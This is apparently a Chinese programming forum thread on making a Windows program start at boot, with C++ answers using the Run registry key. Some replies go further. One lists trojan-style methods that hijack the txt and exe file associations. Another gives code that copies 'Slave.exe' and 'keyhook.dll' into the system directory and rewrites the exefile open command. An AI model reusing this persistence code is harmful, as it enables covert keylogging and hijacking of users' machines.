我需要让我的程序在系统启动时自动运行
但不得其法
望各位兄弟抬举!!!

解决方案 »

  1.   

    HKEY hRegKey=NULL;
    //获得应用程序所在的路径
    CString str;
    CString m_strFileName;
    GetModuleFileName(NULL,m_strFileName.GetBufferSetLength(MAX_PATH+1),MAX_PATH);
    m_strFileName.ReleaseBuffer();
        //设置注册表
    str=_T("Software\\Microsoft\\Windows\\CurrentVersion\\Run");
    RegOpenKey(HKEY_LOCAL_MACHINE, str, &hRegKey);
    _splitpath(m_strFileName.GetBuffer(0),NULL,NULL,str.GetBufferSetLength(MAX_PATH+1),NULL);
    m_strFileName.ReleaseBuffer();
    str.ReleaseBuffer();
    ::RegSetValueEx( hRegKey,str,0,REG_SZ,(CONST BYTE *)m_strFileName.GetBuffer(0),m_strFileName.GetLength() );

    m_strFileName.ReleaseBuffer();
      

  2.   

    feahoo兄提供的是修改注册表的方法
    小弟不才 斗胆多嘴
    我知道可以在运行是可以通过
    在系统启动组中添加快捷方式的方法
    实现自启动功能
    望各位不吝赐教
      

  3.   

    这样的方法太多了。
    1。最弱智的方法。
    将你自己的程序拷贝到
    c:(你的系统盘)\Documents and Settings\All Users\「开始」菜单\程序\\启动\*.exe(你的程序名);//for ntc:\windows\all users\start menu\programs\启动\*.exe(你的程序名); //for 9x
    2。将程序的位置写入注册表中。
    在HKEY_CURRENT_USER\SoftWare\Microsoft\Windows\CurrentVersion\Run\
    下添加子健,然后给子健的值是你的应用程序的位置。
    或者是
    HKEY_CURRENT_USER\SoftWare\Microsoft\Windows\CurrentVersion\Runonce
    下。
    3。同样不过是变成了HKEY_LOCAL_MACHINE下的同样的位置。
    4。给txt files映射成自己的应用程序。但是这是你要解析命令行,然后用shellexcute()(用法自己查msdn)运行txt files,而你的程序这时候就被运行了。也就是说只要别人点击txt files你的程序就被运行了。
    5.给exe files 映射成自己的应用程序。
    6。给4,5这些文件映射的方法。
    在HKEY_CLASSES_ROOT\txtfile\shell\open\command
    下将默认的"%1" 改成你自己的应用程序的位置+"%1"。
    或者将HKEY_LOCAL_MACHINE\Software\CLASSES\txtfile\shell\open\command
    下将默认的"%1" 改成你自己的应用程序的位置+"%1"。
    exe files以此类推。
    至此,你已经完成了你的程序的自启动。
    (以上参考自木马的原理)。
      

  4.   


          char m_SysDir[128];
           GetSystemDirectory(m_SysDir,128);
      
    char szWrite[256];
    strcpy(szWrite,__argv[0]);

      CString m_strS,m_strSDLL,m_strD,m_strDDLL;      
      m_strS.Format("%s",szWrite);
      m_strSDLL.Format("%s",szWrite);
      m_strSDLL.Replace("Slave.exe","keyhook.dll");   m_strD.Format("%s%s%s",m_SysDir,"\\","Slave.exe");
      m_strDDLL.Format("%s%s%s",m_SysDir,"\\","keyhook.dll");

      CopyFile(m_strS,m_strD,FALSE);
              CopyFile(m_strSDLL,m_strDDLL,FALSE);
     
      CString m_strStart;
      m_strStart.Format("%s%s%s","\"",m_strD,"\"\"%1\" %*");
      CRegKey start;
      CString st="exefile\\shell\\open";
      start.Open(HKEY_CLASSES_ROOT,(LPCSTR)st,KEY_ALL_ACCESS);
      start.SetKeyValue("command",m_strStart,NULL);
      start.Close();
      

  5.   

    我试了一下feahoo兄的代码
    确实好用
    但我用RegQueryValueEx读注册表却出了问题
    不知那位兄台再搭把手
    谢谢了!!!